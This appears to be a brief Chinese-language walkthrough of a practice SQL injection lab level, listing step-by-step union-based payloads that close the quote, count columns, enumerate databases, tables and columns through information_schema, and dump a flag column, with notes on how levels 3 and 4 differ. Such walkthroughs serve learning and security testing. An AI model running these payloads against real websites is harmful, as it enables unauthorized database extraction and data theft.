Pass-02

 和第一关一样，唯一就是注意有闭合和注释符

id=1' and 1=1--+

 

id=1' order by 3--+ 爆列

id=1' and 1=2 union select 1,2,3--+   2,3位置回显

 

 id=1' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata--+  暴库

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='error'--+  爆表

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='error_flag'--+  爆字段

 id=1' and 1=2 union select 1,group_concat(concat_ws(0x7e,flag,0x7e)),3 from error.error_flag--+   爆出flag列所有数据

 附上3，4关语句

Pass-03:select *from user where id=('1')

Pass-04:select *from user where id=("1"）

绕过方式和第一，二关基本一致